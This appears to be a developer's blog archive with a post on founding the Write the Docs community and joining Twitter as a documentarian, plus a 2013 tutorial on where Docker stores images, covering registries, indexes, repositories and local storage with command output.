The Wiki Way: being able to describe the incomplete and make it useful. - Ward Cunningham

I recently sat down and chatted with Ward Cunningham over lunch. I asked him about his personal principle. This resulted in a long conversation. One thing that stuck out was his idea that you could leave things incomplete, but they could still be useful. That was one of the underlying principles that inspired him to create the wiki and help launch the Agile movement. Seems like a good principle.

My ideas here are not fully developed. I'm not completely sure if my principle is correctly described or how to be guided by it. But at least, stating it here, in this fledgling and incomplete form, is a starting point.

Let's see where it goes...

Developer to Documentarian

2014-03-09T00:00:00+00:00

TL;DR: I'm excited to announce that I am joining Twitter to focus full-time on documentation and open source.

Background

Living in Portland, I'm lucky to be surrounded by some amazing people. If you wander down to the food carts on any given weekday at lunch time, you're likely to run into any number of luminary 'people from the internet' hanging around.

One of those people might be Eric Holscher. I've known Eric since 2011, mostly as a towering wookie-like figure with killer ping-pong moves that is also an insightful Python developer. I was vaguely aware of his side-project, Read The Docs, which, since 2010 has been a vital resource to the Python open source community.

As a developer, I have always cared about documentation, but I'm not sure I ever thought about it deeply until I got to know Eric Holscher better. Sometime in early 2013, I ran into Eric at a local eatery, and we started discussing Read The Docs. He had recently left his job at Urban Airship and was able to work on Read The Docs full time. This was going well, but he was concerned about the future of the project. There didn't seem to be a sense of community around documentation. Was documentation ever going to be given the focus it needed?

At the same time, I looked around me and realized that here in Portland, I was surrounded by some amazing people working with documentation; Noirin Plunkett, Luc Perkins, Leslie Hawthorn, Adron Hall, Joe Moon, Eric Redmond. I saw a community that didn't see itself.

Eric Redmond was the first person I'd met with the (self-appointed) job title "documentarian".

Building a Community of Documentarians

I have a habit of starting conferences, as well as local meetups, and creating terrible inside-joke-esque slang. I really enjoy helping people organize to create the things they want to see happen.

Naturally, my first reaction to Eric Holscher's existential angst about docs was, "Let's have a conference". I called up Eric Redmond and we had our first meeting of documentarians (I refer to them collectively as "the Erics").

There exists a tribe of documentarians in the world. Up until this point, they haven’t had a central place to meet each other, and coalesce into a community. We are providing the space to allow this to happen, both in person and online.

The headline quote above is from a doc, then titled "Write the Docs: Manifesto", written that night. The Erics almost laughed the idea off at first; no one would come, no one would sponsor it. I said "no really, it's not that hard, let's see what could happen" and bought another round of beer. So, we created a landing page with minimal details, included a call to action and a mailing list signup form, then posted the link to Hacker News.

It seems we touched a nerve.

Originally, we were discussing a 50-100 person conference, mostly made up of local Portland people, probably mostly developers. Instead, we had hundreds of signups for the mailing list in the first day. Over the next couple months we were contacted by people from a variety of disciplines; technical writing industry groups, designers, typographers, literate programmers, API driven startups, and more. We quickly found a new venue, and sold out a 250 person conference. The experience was amazing. We'd found our tribe, and they'd found us.

Now, we're ramping up for year two, with conferences both in Portland and in Budapest this spring. We've seen local meetups spring up in San Francisco, Boston, and New York. We're working on building more.

What's a Documentarian?

During my interview at Twitter, one of the questions I was asked was:

"What unique skill does a documentarian have that is distinct from a developer, technical writer, etc?"

At the time, I was a bit stumped, and sort of rambled out something about focusing on docs as a priority... but that wasn't really it, and the question nagged at me. In the following days I crunched on it in my back-brain, and eventually came up with a slightly more coherent answer.

A documentarian is someone who wants to share something with someone, looks at a blank screen, and knows what should be there.
A documentarian uses the tools of code, technical writing, and visual design to create engaging learning experiences that work well for a wide variety of people.
A documentarian is more than an intersection of skills; it's someone with empathy for the learner, and a unique vision for the accessibility of difficult topics.
A documentarian does more than describing what's there; they explain how to use it in a way that you can understand it.

Culture Change: Agile, TDD and Documentation

Those of us with long enough memories remember a time in developer culture when writing tests was scoffed at. It was something only crazy people really cared about. Unit tests? I guess, if you have extra time, and are extremely particular... This all changed.

Agile made us realize the error of our ways. Someone slid TDD, test-first development, and CI/CD into the cultural forefront.

Nowadays, if you release code without tests, you feel ashamed of yourself. People agonize over their code coverage, and slavishly attempt to please the TravisCI test runner. They wear their passing builds with a badge of pride on the front page of their open source project pages.

But one thing always bugged me about the Agile Manifesto:

Individuals and interactions over processes and tools

Yes!

Working software over comprehensive documentation

Huh?

Customer collaboration over contract negotiation

Yes!

Responding to change over following a plan

Yes!

Why was documentation derided in this manifesto? How are those two things even related? Who spends time documenting broken software? But this is number two on the Agile Manifesto's hit-list of problems to solve.

The ostensible reason for this is upfront documentation. Writing up design docs about a software that you might make, instead of just making it. We can all thank Ward Cunningham, Alastair Cockburn, Martin Fowler, and many others for changing the status quo in our industry. The standard of the nineties is no longer the norm.

Unfortunately, for documentation, it went a bit farther in the minds of the General Public™.

That rule in the manifesto translated to "documentation takes time"; too much time? Hmm.. So does writing unit tests.

Well, ok, but it's really because it gets out of sync with code so easily? Yeah but, so do unit tests.

Both unit tests and documentation are often sticking points for people trying to understand the agile way of doing things. How does one stay agile, but also write tests, and create excellent docs?

People have tried to write off this problem many different ways, Ambler's JBGE ("Just Barely Good Enough") and Cockburn's Crystal Clear method's "just enough documentation" being the most popular takes. So, what exactly is the MVD (minimum viable documentation)? When does it cross the line from "barely good enough" to "comprehensive", and why is that a deal breaker?

All of this sounds like a tooling problem to me. Takes too much time? Build a tool to make it faster and easier. Gets out of sync with code? Build a tool to help keep it in sync.

**It's my goal to see the development culture around documentation change just like it did more than a decade ago with Agile and TDD. **

The time for all technical people to care about documentation is now. We’ve lived too long with awful instructions for the tools we use everyday. People should demand solid instruction of things that they use.

I believe it should be easy for people to start writing documentation. There should be straight-forward guides to getting started with good tools.

I'm going to make that happen.

Why Twitter?

I feel that Twitter is the perfect place to launch this revolution. Twitter cares about documentation, and has a significant docs problem. They have one-thousand (1000) developers, and three (3) technical writers. They are an API driven product. They have released a wealth of great open source tools. They care about communication; it's their core value proposition.

It's a big enough place that it will be hard to solve their problems, but small enough that I might actually be able to do it; then translate my experience there to the rest of the world.

So, my first goal will to be to ensure that Twitter has the best documentation in the world.

Along the way, I'll build open source tooling to make that possible, and help other organizations achieve the same level of excellence using those tools.

After everyone in Twitter cares about documentation as much as I do, I'll switch my role over to "Open Source Advocate", and share our success with the rest of the world.

I'm excited to become Twitter's first documentarian, and I don't expect to the be the last.

Where are Docker images stored?

2013-12-12T00:00:00+00:00

If you're just starting out with Docker, it's super easy to follow the examples, get started and run a few things. However, moving to the next step, making your own Dockerfiles, can be a bit confusing. One of the more common points of confusion seems to be:

Where are my Docker images stored?

- Everyone

I know this certainly left me scratching my head a bit. Even worse, as a n00b, the last thing you want to do is publish your tinkering on the public Docker Index.

Checkout my awesome new Docker image thoward/i_have_no_idea_what_im_doing.

Yeah. Not really what I want to do.

Even worse, for quite a while there was no way to delete something that you had published, so your shamefully awkward learning process was up there for good. Luckily, deleting published Docker repositories is now quite easy.

So let me start with this small assurance; Nothing you do will become public especially if:

You haven't made an account on the public index.
You haven't run docker login to authenticate via the command-line client.
You don't run docker push, to push an image up to the index.

Vocabulary

One of the things that contributes to much of the confusion around Docker is the language that's used. There's a lot of terminology which seem to overlap, or is a bit ambiguous, used somewhat incorrectly, or has a well-established meaning that is different from how Docker uses it.

I'll try to clear those up here, in a quick vocabulary lesson.

Image vs Dockerfile

This one is the least confusing, but it's an important distinction. Docker uses images to run your code, not the Dockerfile. The Dockerfile is used to build the image when you run docker build.

If you go browsing around on the Docker Index, you'll see lots of images listed there, but weirdly, you can't see the Dockerfile that built them. The image is an opaque asset that is compiled from the Dockerfile.

When you run docker push to publish an image, it's not publishing your source code, it's publishing the image that was built from your source code.

Registry vs Index

The next weird thing is the idea of a Registry and an Index, and how these are separate things.

An index manages user accounts, permissions, search, tagging, and all that nice stuff that's in the public web interface.

A registry stores and serves up the actual image assets, and it delegates authentication to the index.

When you run docker search, it's searching the index, not the registry. In fact, it might be searching multiple registries that the index is aware of.

When you run docker push or docker pull, the index determines if you are allowed to access or modify the image, but the registry is the piece that stores it or sends it down the wire to you after the index approves the operation. Also, the index figures out which registry that particular image lives in and forwards the request appropriately.

Beyond that, when you're working locally and running commands like docker images, you're interacting with something that is neither an index or a registry, but a little of both.

Repository

Docker's use of this word is similar to its use at Github, and other source control systems, but also, kind of not.

Three common head-scratching questions are:

What's the difference between a repository and a registry?
What's the difference between a repository and an image?
What's the difference between a repository and an index username?

In fact, this is a problem, because a repository is all of those things and not really any of them either. Further, when you run docker images you get output like this:

$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu              latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu              precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu              12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)
ubuntu              quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)

So, the list of images seems to be a list of repositories? Huh? Actually the images are the GUIDs, but that's not how you interact with them.

Let's start over with this.

When you run docker build or docker commit, you can specify a name for the image. The name is usually in the format of username/image_name, but it doesn't have to be. It could be anything, and it could even be the same as something well known and published.

However, when the time comes to docker push, the index will look at the name, and will check to see if it has a matching repository. If it does, it will check to see if you have access to that repository, and if so, allow you to push the new version of the image to it. So, a registry holds a collection of named repositories, which themselves are a collection of images tracked by GUIDs. This is also where tags come in. You can tag an image, and store multiple versions of that image with different GUIDs in a single named repository, access different tagged versions of an image with a special syntax like username/image_name:tag.

$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu              latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu              precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu              12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)
ubuntu              quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)

If we look at the output from docker images again, now it makes a little more sense. We have five different versions of the image named ubuntu, each one tagged slightly differently. The repository holds all of those under that name ubuntu. So, while it may seem like ubuntu is an image name, it's actually a repository name, indicating where it came from, or where it should go during a push.

Further, the repository name has a specific schema to it. An index can parse out the username from first part, and figure out where it is.

So, this the confusing part: Suppose there's a Docker image called thoward/scooby_snacks.

The official "repository name" is thoward/scooby_snacks, even though we would normally think of the repository as just being scooby_snacks (eg, in GitHub, or elsewhere).

In fact, when the Docker documentation refers to a repository, it sometimes means the whole thing, username included, and sometimes only means the part after the username.

That's because some repositories don't have usernames (like ubuntu). The username is very important to handle separately, because it's used for authentication by the index, so that part of the repository name has its own semantics separate from the name, when it's there.

Local Storage on the Docker Host

So far I've been explaining the intricacies of remote storage, and how that relates to the confusing vocabulary, but running docker images shows you only what is local to your machine.

Where is this stuff? The first place to look is in /var/lib/docker/.

Open up the file repositories to find a JSON list of the repositories on your host:

$ sudo cat /var/lib/docker/repositories | python -mjson.tool
{
    "Repositories": {
        "ubuntu": {
            "12.04": "8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c",
            "12.10": "b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc",
            "latest": "8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c",
            "precise": "8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c",
            "quantal": "b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc"
        }
    }
}

Hey, that matches the output from docker images!

REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu              latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu              precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu              12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)
ubuntu              quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)

Checkout what's in /var/lib/docker/graph/:

$ sudo ls -al /var/lib/docker/graph
total 24
drwx------ 6 root root 4096 Nov 22 06:52 .
drwx------ 5 root root 4096 Dec 13 04:25 ..
drwxr-xr-x 3 root root 4096 Dec 13 04:26 27cf784147099545
drwxr-xr-x 3 root root 4096 Nov 22 06:52 8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c
drwxr-xr-x 3 root root 4096 Nov 22 06:52 b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc
drwx------ 3 root root 4096 Nov 22 06:52 _tmp

Not terribly friendly, but we can see how Docker is keeping track of these, based on the repositories JSON file which holds a mapping of repository names and tags, to the underlying image GUIDs.

We have two images from the ubuntu repository, with the tags 12.04, precise, and latest all corresponding to the image with id 8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c (or 8dbd9e392a96 for short).

So what's actually stored there?

$ sudo ls -al /var/lib/docker/graph/8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c
total 20
drwxr-xr-x  3 root root 4096 Nov 22 06:52 .
drwx------  6 root root 4096 Nov 22 06:52 ..
-rw-------  1 root root  437 Nov 22 06:51 json
drwxr-xr-x 22 root root 4096 Apr 11  2013 layer
-rw-------  1 root root    9 Nov 22 06:52 layersize

The entries here are:

json - holds metadata about the image
layersize - just a number, indicating the size of the layer
layer/ - sub-directory that holds the rootfs for the container image

$ sudo cat /var/lib/docker/graph/8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c/json | python -mjson.tool
{
    "comment": "Imported from -",
    "container_config": {
        "AttachStderr": false,
        "AttachStdin": false,
        "AttachStdout": false,
        "Cmd": null,
        "Env": null,
        "Hostname": "",
        "Image": "",
        "Memory": 0,
        "MemorySwap": 0,
        "OpenStdin": false,
        "PortSpecs": null,
        "StdinOnce": false,
        "Tty": false,
        "User": ""
    },
    "created": "2013-04-11T14:13:15.57812-07:00",
    "docker_version": "0.1.4",
    "id": "8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c"
}

$ sudo cat /var/lib/docker/graph/8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c/layersize
131301903

$ sudo ls -al /var/lib/docker/graph/8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c/layer
total 88
drwxr-xr-x 22 root root 4096 Apr 11  2013 .
drwxr-xr-x  3 root root 4096 Nov 22 06:52 ..
drwxr-xr-x  2 root root 4096 Apr 11  2013 bin
drwxr-xr-x  2 root root 4096 Apr 19  2012 boot
drwxr-xr-x  4 root root 4096 Nov 22 06:51 dev
drwxr-xr-x 41 root root 4096 Nov 22 06:51 etc
drwxr-xr-x  2 root root 4096 Apr 19  2012 home
drwxr-xr-x 11 root root 4096 Nov 22 06:51 lib
drwxr-xr-x  2 root root 4096 Nov 22 06:51 lib64
drwxr-xr-x  2 root root 4096 Apr 11  2013 media
drwxr-xr-x  2 root root 4096 Apr 19  2012 mnt
drwxr-xr-x  2 root root 4096 Apr 11  2013 opt
drwxr-xr-x  2 root root 4096 Apr 19  2012 proc
drwx------  2 root root 4096 Nov 22 06:51 root
drwxr-xr-x  4 root root 4096 Nov 22 06:51 run
drwxr-xr-x  2 root root 4096 Nov 22 06:51 sbin
drwxr-xr-x  2 root root 4096 Mar  5  2012 selinux
drwxr-xr-x  2 root root 4096 Apr 11  2013 srv
drwxr-xr-x  2 root root 4096 Apr 14  2012 sys
drwxrwxrwt  2 root root 4096 Apr 11  2013 tmp
drwxr-xr-x 10 root root 4096 Nov 22 06:51 usr
drwxr-xr-x 11 root root 4096 Nov 22 06:51 var

Pretty easy. This is the magic behind being able to refer to an image by its repository name, even if you're not interacting with the remote Docker Index or Docker Registry. Once you've pulled it down to your workstation, Docker can work with it by name using these files. This is also where things go when you're developing a new Dockerfile.

DIY Dockerfiles

Let's try an example. Make a Dockerfile with the following contents:

FROM ubuntu

This basically doesn't do anything except say that we're including the ubuntu image as our base layer, but that's enough to get started.

Next, run docker build -t scooby_snacks .. What that will do is look in the directory we specified (.) for a file called Dockerfile and then build it, and use the name scooby_snacks for the repository.

$ docker build -t scooby_snacks .
Uploading context 64184320 bytes
Step 1 : FROM ubuntu
 ---> 8dbd9e392a96
Successfully built 8dbd9e392a96

Oh no! It said "Uploading context"... Did we just upload it to the public registry?

Let's check:

$ docker search scooby_snacks
NAME      DESCRIPTION   STARS     OFFICIAL   TRUSTED

Whew! Not there. So why did it say that?

I have no idea, but you can ignore it. Where did it really end up?

$ sudo cat /var/lib/docker/repositories | python -mjson.tool
{
    "Repositories": {
        "scooby_snacks": {
            "latest": "8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c"
        },
        "ubuntu": {
            "12.04": "8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c",
            "12.10": "b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc",
            "latest": "8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c",
            "precise": "8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c",
            "quantal": "b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc"
        }
    }
}

Well, looks like Docker just "uploaded" it to /var/lib/docker. :)

It should also show up in docker images.

$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu              latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu              precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
scooby_snacks       latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu              12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)
ubuntu              quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)

There it is! Docker was smart enough to realize that we didn't change anything, so it kept the same image id, and didn't bother copying the ubuntu image. Pretty sweet.

Next, we'll make a small change so that Docker will have to build a new layer.

Edit Dockerfile to have these contents:

FROM ubuntu

RUN touch scooby_snacks.txt

Then run docker build -t scooby_snacks . to rebuild.

$ docker build -t scooby_snacks .
Uploading context 64184320 bytes
Step 1 : FROM ubuntu
 ---> 8dbd9e392a96
Step 2 : RUN touch scooby_snacks.txt
 ---> Running in 86664242766c
 ---> 91acef3a5936
Successfully built 91acef3a5936

There should be a new directory under /var/lib/docker/graph

$ sudo ls -al /var/lib/docker/graph
total 28
drwx------ 7 root root 4096 Dec 13 06:27 .
drwx------ 5 root root 4096 Dec 13 06:27 ..
drwxr-xr-x 3 root root 4096 Dec 13 04:26 27cf784147099545
drwxr-xr-x 3 root root 4096 Nov 22 06:52 8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c
drwxr-xr-x 3 root root 4096 Dec 13 06:27 91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9
drwxr-xr-x 3 root root 4096 Nov 22 06:52 b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc
drwx------ 3 root root 4096 Dec 13 06:27 _tmp

Docker gave it a new image ID:

91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9

It has also been updated in /var/lib/docker/repositories and docker images.

$ sudo cat /var/lib/docker/repositories | python -mjson.tool
{
    "Repositories": {
        "scooby_snacks": {
            "latest": "91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9"
        },
        "ubuntu": {
            "12.04": "8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c",
            "12.10": "b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc",
            "latest": "8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c",
            "precise": "8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c",
            "quantal": "b750fe79269d2ec9a3c593ef05b4332b1d1a02a62b4accb2c21d589ff2f5f2dc"
        }
    }
}
$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
scooby_snacks       latest              91acef3a5936        5 minutes ago       12.29 kB (virtual 131.3 MB)
ubuntu              12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu              latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu              precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu              12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)
ubuntu              quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)

Let's see what /var/lib/docker/graph/91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9 looks like now:

$ sudo cat /var/lib/docker/graph/91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9/json | python -mjson.tool
{
    "Size": 0,
    "architecture": "x86_64",
    "config": {
        "AttachStderr": false,
        "AttachStdin": false,
        "AttachStdout": false,
        "Cmd": null,
        "CpuShares": 0,
        "Dns": null,
        "Domainname": "",
        "Entrypoint": [],
        "Env": [
            "HOME=/",
            "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
        ],
        "ExposedPorts": {},
        "Hostname": "86664242766c",
        "Image": "8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c",
        "Memory": 0,
        "MemorySwap": 0,
        "NetworkDisabled": false,
        "OpenStdin": false,
        "PortSpecs": null,
        "StdinOnce": false,
        "Tty": false,
        "User": "",
        "Volumes": {},
        "VolumesFrom": "",
        "WorkingDir": ""
    },
    "container": "86664242766c5548f8118716e873835c171811176a710e425c1fcf1fa367b505",
    "container_config": {
        "AttachStderr": false,
        "AttachStdin": false,
        "AttachStdout": false,
        "Cmd": [
            "/bin/sh",
            "-c",
            "touch scooby_snacks.txt"
        ],
        "CpuShares": 0,
        "Dns": null,
        "Domainname": "",
        "Entrypoint": [],
        "Env": [
            "HOME=/",
            "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
        ],
        "ExposedPorts": {},
        "Hostname": "86664242766c",
        "Image": "8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c",
        "Memory": 0,
        "MemorySwap": 0,
        "NetworkDisabled": false,
        "OpenStdin": false,
        "PortSpecs": null,
        "StdinOnce": false,
        "Tty": false,
        "User": "",
        "Volumes": {},
        "VolumesFrom": "",
        "WorkingDir": ""
    },
    "created": "2013-12-13T06:27:03.234029255Z",
    "docker_version": "0.6.7",
    "id": "91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9",
    "parent": "8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c"
}

$ sudo cat /var/lib/docker/graph/91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9/layersize
12288

$ sudo ls -al /var/lib/docker/graph/91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9/layer
total 16
drwxr-xr-x 4 root root 4096 Dec 13 06:27 .
drwxr-xr-x 3 root root 4096 Dec 13 06:27 ..
-rw-r--r-- 1 root root    0 Dec 13 06:27 scooby_snacks.txt
-r--r--r-- 1 root root    0 Dec 13 06:27 .wh..wh.aufs
drwx------ 2 root root 4096 Dec 13 06:27 .wh..wh.orph
drwx------ 2 root root 4096 Dec 13 06:27 .wh..wh.plnk

Our tiny change had a big impact! Notice that Docker only kept the differences from the base image. This is the key to the layer concept.

Run it!

We can now run our new image and try it out. We'll just run an interactive bash prompt for now.

$ docker run -i -t scooby_snacks /bin/bash
root@1f8602a7d589:/# ls -al
total 12308
drwxr-xr-x  30 root root     4096 Dec 13 06:43 .
drwxr-xr-x  30 root root     4096 Dec 13 06:43 ..
-rw-------   1 root root      208 Dec 13 06:43 .dockerenv
-rwxr-xr-x   1 root root 12516574 Nov 22 02:34 .dockerinit
drwxr-xr-x   2 root root     4096 Apr 11  2013 bin
drwxr-xr-x   2 root root     4096 Apr 19  2012 boot
drwxr-xr-x   6 root root     4096 Nov 22 06:52 dev
drwxr-xr-x  41 root root     4096 Nov 22 06:52 etc
drwxr-xr-x   2 root root     4096 Apr 19  2012 home
drwxr-xr-x  11 root root     4096 Nov 22 06:51 lib
drwxr-xr-x   2 root root     4096 Nov 22 06:51 lib64
drwxr-xr-x   2 root root     4096 Apr 11  2013 media
drwxr-xr-x   2 root root     4096 Apr 19  2012 mnt
drwxr-xr-x   2 root root     4096 Apr 11  2013 opt
dr-xr-xr-x 102 root root        0 Dec 13 06:43 proc
drwx------   2 root root     4096 Nov 22 06:51 root
drwxr-xr-x   4 root root     4096 Nov 22 06:51 run
drwxr-xr-x   2 root root     4096 Nov 22 06:51 sbin
-rw-r--r--   1 root root        0 Dec 13 06:27 scooby_snacks.txt
drwxr-xr-x   2 root root     4096 Mar  5  2012 selinux
drwxr-xr-x   2 root root     4096 Apr 11  2013 srv
dr-xr-xr-x  13 root root        0 Dec 13 06:43 sys
drwxrwxrwt   2 root root     4096 Apr 11  2013 tmp
drwxr-xr-x  10 root root     4096 Nov 22 06:51 usr
drwxr-xr-x  11 root root     4096 Nov 22 06:51 var
root@1f8602a7d589:/#

The effects of our RUN touch scooby_snacks.txt command in the Dockerfile are exactly as expected.

Publish it!

Until now, we've been doing everything locally and not interacting with the outside world at all. This is great, we can work up a perfect Dockerfile before we go live. That said, I'm pretty happy with this one now, and I'm ready to publish it.

If you haven't already, make sure you make an account, and then login with docker login.

$ docker login
Username: thoward
Password:
Email: thoward37@gmail.com
Login Succeeded

Publish the image with docker push scooby_snacks

$ docker push scooby_snacks
2013/12/13 06:49:36 Impossible to push a "root" repository. Please rename your repository in <user>/<repo> (ex: thoward/scooby_snacks)

Oops. Docker Index won't let us publish without our username in the repository name. No big deal.

Rebuild this with the correct username using docker build -t thoward/scooby_snacks .

$ docker build -t thoward/scooby_snacks .
Uploading context 64184320 bytes
Step 1 : FROM ubuntu
 ---> 8dbd9e392a96
Step 2 : RUN touch scooby_snacks.txt
 ---> Using cache
 ---> 91acef3a5936
Successfully built 91acef3a5936

Nice! The message "Using cache" means Docker was smart enough to know that we didn't really change the image, so it didn't bother rebuilding it.

Let's try publishing again, but this time with the correct repository name:

$ docker push thoward/scooby_snacks
The push refers to a repository [thoward/scooby_snacks] (len: 1)
Sending image list
Pushing repository thoward/scooby_snacks (1 tags)
Pushing 8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c
Image 8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c already pushed, skipping
Pushing tags for rev [8dbd9e392a964056420e5d58ca5cc376ef18e2de93b5cc90e868a1bbc8318c1c] on {https://registry-1.docker.io/v1/repositories/thoward/scooby_snacks/tags/latest}
Pushing 91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9


Pushing tags for rev [91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9] on {https://registry-1.docker.io/v1/repositories/thoward/scooby_snacks/tags/latest}

Now that it's published, it should show up with docker search.

$ docker search scooby_snacks
NAME                    DESCRIPTION   STARS     OFFICIAL   TRUSTED
thoward/scooby_snacks                 0

There it is. Next, let's cleanup a bit and delete the old root level one:

$ docker images
REPOSITORY              TAG                 IMAGE ID            CREATED             SIZE
scooby_snacks           latest              91acef3a5936        30 minutes ago      12.29 kB (virtual 131.3 MB)
thoward/scooby_snacks   latest              91acef3a5936        30 minutes ago      12.29 kB (virtual 131.3 MB)
ubuntu                  12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu                  latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu                  precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu                  12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)
ubuntu                  quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)

$ docker rmi scooby_snacks
Untagged: 91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9

$ docker images
REPOSITORY              TAG                 IMAGE ID            CREATED             SIZE
thoward/scooby_snacks   latest              91acef3a5936        29 minutes ago      12.29 kB (virtual 131.3 MB)
ubuntu                  12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu                  latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu                  precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu                  12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)
ubuntu                  quantal             b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)

Ok, that one is gone.

Also, to be honest, this is not a very interesting image to share publicly, and we don't want to look like n00bs, so let's delete it as well.

$ docker rmi thoward/scooby_snacks
Untagged: 91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9
Deleted: 91acef3a5936769f763729529e736681e5079dc6ddf6ab0e61c327a93d163df9

$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              12.04               8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu              latest              8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu              precise             8dbd9e392a96        8 months ago        131.3 MB (virtual 131.3 MB)
ubuntu              12.10               b750fe79269d        8 months ago        24.65 kB (virtual 179.7 MB)
